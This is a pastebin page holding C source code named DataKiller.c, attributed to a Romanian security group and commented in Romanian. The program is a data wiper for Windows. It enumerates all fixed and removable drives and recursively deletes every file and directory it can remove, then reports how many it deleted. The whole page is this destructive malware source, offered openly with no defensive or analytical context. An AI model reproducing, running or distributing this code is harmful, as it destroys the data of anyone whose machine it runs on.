Guest

DataKiller.c

By: a guest on Aug 20th, 2011  |  syntax: C  |  size: 3.15 KB  |  hits: 73  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. /*
  2.     Name: DataKiller.c
  3.     Description: Delete all deleteable files
  4.     Author: Nytro @ Romanian Security Team
  5. */
  6.  
  7. #include <windows.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11.  
  12. /* Marimi buffere */
  13.  
  14. #define VOLNAME_SIZE 4
  15. #define VOLBUFFER_SIZE 1337
  16. #define DIRBUFFER_SIZE 255
  17. #define FILENAME_SIZE 31337
  18.  
  19. /* Contoare pentru nr. de fisiere si de foldere */
  20.  
  21. int nr_files = 0;
  22. int nr_directories = 0;
  23. int deleted_files = 0;
  24. int deleted_directories = 0;
  25.  
  26. /* Functie recursiva, sterge folderele si fisierele */
  27.  
  28. void DeleteFiles(char *directory)
  29. {
  30.     WIN32_FIND_DATA file_data;
  31.     HANDLE hFisier;
  32.     int new_file = 1;
  33.     char dir_buffer[DIRBUFFER_SIZE] = {0};
  34.     char file_name[FILENAME_SIZE] = {0};
  35.     char new_dir[DIRBUFFER_SIZE] = {0};
  36.    
  37.     /* Formam sirul de caractere pentru FindFirstFile */
  38.    
  39.     memset(&file_data, 0, sizeof(WIN32_FIND_DATA));
  40.     sprintf(dir_buffer, "%s*", directory);
  41.    
  42.     hFisier = FindFirstFile(dir_buffer, &file_data);
  43.    
  44.     /* Parcurgem folderul */
  45.    
  46.     while(hFisier != INVALID_HANDLE_VALUE && new_file)
  47.     {
  48.         sprintf(file_name, "%s%s", directory, file_data.cFileName);
  49.        
  50.         /* Daca e folder */
  51.        
  52.         if(GetFileAttributes(file_name) & ~(FILE_ATTRIBUTE_DIRECTORY ^ 0xFFFFFFFF) && (GetFileAttributes(file_name) != (unsigned)-1))
  53.         {
  54.             sprintf(new_dir, "%s\\", file_name);
  55.            
  56.             /* Evitam "." si ".." */
  57.            
  58.             if(file_name[strlen(file_name) - 1] != '.')
  59.             {
  60.                 nr_directories++;
  61.                 DeleteFiles(new_dir);
  62.                 if(RemoveDirectory(new_dir)) deleted_directories++;
  63.             }
  64.         }
  65.        
  66.         /* Daca e fisier */
  67.        
  68.         else
  69.         {
  70.             nr_files++;
  71.             if(DeleteFile(file_name)) deleted_files++;
  72.         }
  73.        
  74.         /* Trecem la urmatorul fisier/folder */
  75.        
  76.         new_file = FindNextFile(hFisier, &file_data);
  77.     }
  78.    
  79.     FindClose(hFisier);
  80. }
  81.  
  82. int main()
  83. {
  84.     char *dir_buffer = NULL;
  85.     char **drives;
  86.    
  87.     int dir_buf_size = 0, nr_drives = 0, i = 0;
  88.    
  89.     /* Alocam memorie */
  90.    
  91.     dir_buffer = (char *)malloc(VOLBUFFER_SIZE);
  92.     dir_buf_size = GetLogicalDriveStrings(VOLBUFFER_SIZE, dir_buffer);
  93.     nr_drives = dir_buf_size / VOLNAME_SIZE;
  94.     drives = (char **)malloc(sizeof(char *) * nr_drives);
  95.    
  96.     /* Parcurgem volumele */
  97.    
  98.     for(i = 0; i < dir_buf_size / VOLNAME_SIZE; i++)
  99.     {
  100.         drives[i] = (char *)malloc(VOLNAME_SIZE);
  101.         strncpy(drives[i], dir_buffer + i * VOLNAME_SIZE, VOLNAME_SIZE);
  102.        
  103.         printf("Drive: %s: %d\n", drives[i], GetDriveType(drives[i]));
  104.         if(GetDriveType(drives[i]) == DRIVE_FIXED || GetDriveType(drives[i]) == DRIVE_REMOVABLE) DeleteFiles(drives[i]);
  105.     }
  106.    
  107.     printf("Foldere: %d\nFisiere: %d\n", nr_directories, nr_files);
  108.     printf("Foldere sterse: %d\nFisiere sterse: %d\n", deleted_directories, deleted_files);
  109.    
  110.     /* Eliberam memoria */
  111.    
  112.     for(i = 0; i < nr_drives; i++) free(drives[i]);
  113.     free(drives);
  114.     free(dir_buffer);
  115.     return 0;
  116. }